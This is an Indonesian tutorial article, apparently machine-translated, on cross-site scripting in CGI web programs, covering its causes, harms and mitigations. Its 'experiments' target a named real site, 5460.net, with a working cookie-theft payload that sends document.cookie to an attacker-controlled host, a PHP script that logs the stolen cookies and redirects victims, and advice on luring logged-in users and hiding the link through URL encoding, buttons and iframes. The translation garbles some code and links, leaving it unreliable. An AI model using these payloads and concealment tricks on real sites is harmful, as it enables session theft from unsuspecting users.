Artikel ini terutama memperkenalkan penyebab kerentanan eksekusi skrip lintas situs. Karena tidak ada banyak informasi tentang kerentanan eksekusi skrip lintas situs, biasanya tidak ada pengantar rinci di internet. Saya harap artikel ini dapat memperkenalkan pengetahuan ini secara lebih rinci. Berikut ini adalah penyebab kerentanan eksekusi skrip lintas situs yang dikompilasi oleh editor saluran teknologi baru yang salah. Mari kita pergi ke yang berikut untuk mempelajari lebih lanjut!
Penyebab kerentanan eksekusi skrip lintas situs [penyebab kerentanan]
Alasannya sangat sederhana, karena program CGI tidak memfilter atau mengonversi kode HTML dalam variabel yang dikirimkan oleh pengguna.
【Bentuk kerentanan】
Bentuk yang disebutkan di sini sebenarnya mengacu pada bentuk input CGI, yang terutama dibagi menjadi dua jenis:
1. Tampilkan input
2. Input implisit
Input tampilan jelas mengharuskan pengguna untuk memasukkan data, sedangkan input implisit tidak mengharuskan pengguna untuk memasukkan data, tetapi pengguna dapat mengganggu dengan memasukkan data.
Input tampilan dapat dibagi menjadi dua jenis:
1. Input selesai dan hasilnya segera output
2. Input selesai dan disimpan dalam file teks atau database, dan kemudian hasilnya adalah output.
Catatan: Yang terakhir mungkin membuat situs web Anda tidak dapat dikenali! :(
Selain beberapa situasi normal, input implisit juga dapat diimplementasikan dengan menggunakan program server atau CGI untuk menangani informasi kesalahan.
【Bahaya Celah】
Apa yang paling diperhatikan setiap orang mungkin adalah masalah ini. Daftar berikut mungkin tidak komprehensif atau sistematis, tetapi saya pikir itu harus lebih khas.
1. Dapatkan data sensitif di cookie pengguna lainnya
2. Blok Informasi spesifik halaman
3. Informasi halaman palsu
4. Penyangkalan Serangan Layanan
5. menerobos pengaturan keamanan yang berbeda dari jaringan eksternal dan internal
6. Dikombinasikan dengan kerentanan lainnya, memodifikasi pengaturan sistem, melihat file sistem, menjalankan perintah sistem, dll.
7. Lainnya
Secara umum, bahaya di atas sering disertai dengan deformasi halaman. Kerentanan eksekusi skrip lintas situs yang disebut berarti bahwa efek serangan dicapai melalui situs web orang lain, yang berarti bahwa serangan semacam ini dapat menyembunyikan identitas sampai batas tertentu.
【Metode Penggunaan】
Di bawah ini kami akan menunjukkan berbagai bahaya di atas melalui contoh -contoh spesifik, yang harus lebih jelas dan lebih mudah dipahami. Untuk struktur yang lebih jelas, kami akan melakukan percobaan untuk setiap bahaya.
Untuk melakukan eksperimen ini dengan baik, kami memerlukan perangkat lunak pengambilan paket. Saya menggunakan iris. Tentu saja, Anda dapat memilih perangkat lunak lain, seperti NetXray atau semacamnya. Untuk metode penggunaan tertentu, silakan merujuk ke bantuan atau manual yang relevan.
Selain itu, satu hal untuk dipahami adalah bahwa selama server mengembalikan informasi yang dikirimkan oleh pengguna, mungkin ada kerentanan eksekusi skrip lintas situs.
Oke, semuanya sudah siap, mari kita mulai bereksperimen! :)
Eksperimen 1: Dapatkan informasi sensitif di cookie pengguna lain
Mari kita ambil situs rekaman siswa domestik yang terkenal 5460.net sebagai contoh untuk diilustrasikan. Silakan ikuti langkah -langkah di bawah ini:
1. Masukkan halaman beranda http://www.5460.net/
2. Masukkan nama pengguna "<h1>" dan kirimkan. Server mengembalikan informasi yang berisi pengiriman pengguna "<h1>".
3. Menganalisis data pengambilan paket dan dapatkan permintaan yang sebenarnya:
http://www.5460.net/txl/login/login.pl?UserName=<h1>&passwd=&ok.x=28&ok.y=6
4. Bangun pengiriman dengan tujuan untuk dapat menampilkan informasi cookie pengguna:
http://www.5460.net/txl/login/login.pl?UserName=<script> hall(document.cookie)</ skrip> & passwd = & ok.x = 28 & ok.y = 6
5. Jika permintaan di atas mendapatkan efek yang diharapkan, maka kami dapat mencoba permintaan berikut:
http://www.5460.net/txl/login/login.pl?UserName=<script>window.open("htp://www.notfound.org/ info.php? "%2bdocument.cookie) </script> & passwd = & OK. & OK
Di antara mereka, http://www.notfound.org/info.php adalah skrip pada host yang dapat Anda kendalikan. Fungsinya adalah untuk mendapatkan informasi dari string kueri, dan kontennya adalah sebagai berikut:
<? php
$ info = getEnv ("query_string");
if ($ info) {
$ fp = fopen ("info.txt", "a");
fwrite ($ fp, $ info. "/n");
fclose ($ fp);
}
header ("Lokasi: http://www.5460.net");
Catatan: "%2B" adalah pengkodean URL dari "+", dan hanya "%2b" yang dapat digunakan di sini, karena "+" akan diproses sebagai ruang. Kalimat header berikut murni untuk meningkatkan penyembunyian.
6. Jika URL di atas dapat berjalan dengan benar, langkah selanjutnya adalah menginduksi pengguna yang masuk ke 5460.net untuk mengakses URL, dan kami dapat memperoleh informasi sensitif dalam cookie pengguna.
7. Apa yang ingin Anda lakukan nanti adalah terserah Anda!
Eksperimen 2: Blok Informasi Spesifik Halaman
Kami masih menggunakan 5460.net sebagai contoh, berikut adalah program CGI yang bermasalah:
http://www.5460.net/txl/liuyan/liuyansql.pl
Program CGI menerima tiga variabel yang disediakan oleh pengguna, yaitu NID, CSID dan CNAME, tetapi tidak memeriksa variabel CNAME apa pun yang dikirimkan oleh pengguna. Selain itu, program CGI mengambil nilai CNAME sebagai bagian dari halaman output. Pengguna 5460.net harus lebih jelas bahwa nama Anda ada di sudut kanan bawah pesan, kan?
Karena kami memiliki kondisi di atas, kami mungkin ingin membuat kesimpulan berikut:
Seorang pengguna dapat "memblokir" semua pesan di antara dua pesan mereka!
Tentu saja, "pemblokiran" yang kita bicarakan bukanlah "penghapusan", dan pesan pengguna masih ada, tetapi karena karakteristik HTML, kita tidak dapat melihatnya dari halaman. Tentu saja, jika Anda suka melihat kode sumber, itu tidak berguna, tetapi kita yang mempelajari keamanan CGI mengatakan, berapa banyak orang yang melihat kode sumber HTML jika Anda memiliki sesuatu untuk dilakukan atau tidak?
Karena berbagai alasan, saya tidak akan mengumumkan detail spesifik di sini, ketahuilah prinsip -prinsipnya.
Catatan: Jika Anda memikirkannya dengan cermat, kami tidak hanya dapat memblokir pesan, tetapi juga meninggalkan pesan secara anonim, kan?
Eksperimen 3: Lupa informasi halaman
Jika Anda memahami percobaan di atas, tidak perlu melakukan percobaan ini. Prinsip -prinsip dasarnya sama, tetapi hanya sedikit merepotkan untuk diimplementasikan.
Eksperimen 4: Penolakan Serangan Layanan
Harus diketahui sekarang bahwa kita dapat mengontrol perilaku server dengan kerentanan eksekusi skrip lintas situs sampai batas tertentu. Dalam hal ini, kami dapat mengontrol server untuk melakukan beberapa tindakan yang memakan sumber daya. Misalnya, menjalankan skrip JavaScript yang berisi loop mati atau membuka jendela tak terbatas, dll. Dengan cara ini sistem pengguna yang mengakses URL dapat melambat atau bahkan macet. Demikian pula, kami juga dapat menanamkan beberapa skrip di dalamnya untuk meminta server untuk meminta sumber daya di server lain. Jika sumber daya yang diakses mengkonsumsi lebih banyak sumber daya dan ada lebih banyak pengunjung, server yang diakses juga dapat ditolak layanan, dan percaya bahwa penolakan serangan layanan diprakarsai oleh server yang mengaksesnya, sehingga identitas dapat disembunyikan.
Eksperimen 5: menerobos pengaturan keamanan yang berbeda dari jaringan eksternal dan internal
Ini harus mudah dimengerti. Secara umum, browser kami menetapkan tingkat keamanan yang berbeda untuk daerah yang berbeda. Misalnya, untuk area internet, Anda mungkin tidak mengizinkan eksekusi JavaScript, tetapi di area intranet, Anda dapat mengizinkan eksekusi JavaScript. Secara umum, tingkat keamanan yang pertama lebih tinggi daripada yang terakhir. Dengan cara ini, secara umum, orang lain tidak dapat menyerang Anda dengan menjalankan skrip JavaScript berbahaya, tetapi jika ada kerentanan eksekusi skrip lintas situs pada server pada intranet yang sama seperti Anda, maka penyerang memiliki kesempatan untuk memanfaatkannya karena server terletak di area intranet.
Eksperimen 6: Dikombinasikan dengan kerentanan lainnya, memodifikasi pengaturan sistem, melihat file sistem, menjalankan perintah sistem, dll.
Karena ada terlalu banyak kerentanan terkait browser, ada banyak kerentanan yang dapat dikombinasikan dengan kerentanan eksekusi skrip lintas situs. Saya pikir semua orang harus sangat jelas tentang masalah ini. Kerentanan memodifikasi judul IE beberapa kali, kerentanan perintah eksekusi tipe mime yang salah, dan berbagai cacing adalah contoh yang baik.
Untuk contoh lebih lanjut, silakan merujuk ke tautan berikut:
Internet Explorer Bug Tag Objek Pop-up
http://archives.neoHapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer JavaScript Modeless Popup Lokal Penolakan Kerentanan Layanan
http://archives.neooShapsis.com/archives/bugtraq/2002-01/0058.html
MSie6 dapat membaca file lokal
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE dapat mengunduh dan menjalankan progam secara otomatis
http://archives.neooShapsis.com/archives/bugtraq/2001-12/0143.html
File Extensions Spoofable Dalam dialog Unduh MSie
http://archives.neooShapsis.com/archives/bugtraq/2001-11/0203.html
Bug mencuri cookie IE lainnya (MS01-055)
http://archives.neooShapsis.com/archives/bugtraq/2001-11/0106.html
Buletin Keamanan Microsoft MS01-055
http://archives.neoHapsis.com/archives/bugtraq/2001-11/0048.html
Cacat Keamanan Serius di Microsoft Internet Explorer - Spoofing Zona
http://archives.neooShapsis.com/archives/bugtraq/2001-10/0075.html
Header MIME yang salah dapat menyebabkan IE mengeksekusi lampiran email
http://www.kriptopolis.com/cua/eml.html
Peran kerentanan eksekusi skrip lintas situs di sini adalah untuk menyembunyikan identitas penyerang yang sebenarnya.
Eksperimen 7: Lainnya
Faktanya, jenis masalah ini tidak ada hubungannya dengan kerentanan eksekusi skrip lintas situs, tetapi masih perlu untuk menyebutkannya di sini. Inti dari masalahnya adalah bahwa program CGI tidak memfilter data yang dikirimkan pengguna dan kemudian melakukan pemrosesan output. Misalnya, program CGI pada server yang mendukung data yang diterapkan oleh pengguna SSI, yang dapat mengarah pada pelaksanaan instruksi SSI terlepas dari metode memasukkan data. Tentu saja, ini dieksekusi di sisi server, bukan di sisi klien. Bahkan, bahasa CGI seperti ASP, PHP dan Perl dapat menyebabkan masalah ini.
【Teknik tersembunyi】
Demi waktu, saya terutama akan berbicara tentang teori di sini. Saya percaya tidak sulit untuk dipahami. Jika benar -benar ada masalah, maka pergilah ke buku ini untuk membacanya.
1. Pengkodean URL
Membandingkan:
http://www.5460.net/txl/login/login.pl?UserName=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3c%68%31%3e&passwd=&ok.x=28&ok.y=6
Mana yang menurut Anda lebih disembunyikan? Lai
2. Bersembunyi di bawah benda lain
Apakah lebih baik memutuskan untuk menyembunyikan tautan di bawah tombol daripada memberi seseorang tautan secara langsung?
3. Sematkan ke halaman
Apakah jauh lebih mudah untuk membiarkan orang lain mengakses alamat (perhatikan bahwa alamat di sini berbeda dari URL yang disebutkan di atas) daripada membiarkan orang lain menekan tombol? Dengan bantuan iframe, Anda dapat membuat serangan ini lebih tersembunyi.
4. Penggunaan acara yang rasional
Penggunaan peristiwa yang rasional dapat dilewati dalam beberapa kasus pembatasan input program CGI, seperti kerentanan eksekusi skrip lintas situs dari Focus Security Focus beberapa hari yang lalu.
【Tindakan pencegahan】
Secara umum, tidak ada masalah dalam secara langsung melakukan serangan seperti <script> alert (document.cookie) </script>, tetapi kadang -kadang program CGI memproses input pengguna, seperti termasuk '' atau ''. Pada saat ini, kita perlu menggunakan beberapa trik untuk melewati batasan ini.
Jika Anda terbiasa dengan bahasa HTML, melewati pembatasan ini seharusnya tidak menjadi masalah.
【Larutan】
Untuk menghindari diserang oleh kerentanan eksekusi skrip lintas situs, baik pemrogram maupun pengguna perlu bekerja sama:
programmer:
1. Saring atau Konversi Kode HTML dalam Data yang Diajukan Pengguna
2. Batasi panjang data yang dikirimkan oleh pengguna
pengguna:
1. Jangan mudah mengakses tautan yang diberikan orang lain
2. Nonaktifkan browser dari menjalankan JavaScript dan ActiveX Code
Lampiran: Lokasi pengaturan modifikasi browser umum adalah:
Internet Explorer:
Alat -> Opsi Internet -> Keamanan -> Internet -> Tingkat Kustom
Alat -> Opsi Internet -> Keamanan -> Intranet -> Level Kustom
Opera:
File -> Parameter Cepat -> Izinkan Java
File -> Parameter Cepat -> Izinkan plugin untuk digunakan
File -> Parameter Cepat -> Izinkan JavaScript
【FAQ】
T: Di mana kerentanan eksekusi skrip lintas situs ada?
A: Selama ini adalah program CGI dan selama pengguna diizinkan untuk input, mungkin ada kerentanan eksekusi skrip lintas situs.
T: Dapatkah kerentanan eksekusi skrip lintas situs hanya mencuri cookie orang lain?
A: Tentu saja tidak! Semua kode HTML dapat dilakukan, kerentanan eksekusi skrip lintas situs dapat dilakukan.
Artikel di atas adalah penyebab kerentanan eksekusi skrip lintas situs. Saya percaya setiap orang memiliki pemahaman tertentu. Jika Anda ingin mengetahui lebih banyak informasi teknis, silakan terus perhatikan saluran teknologi baru yang salah!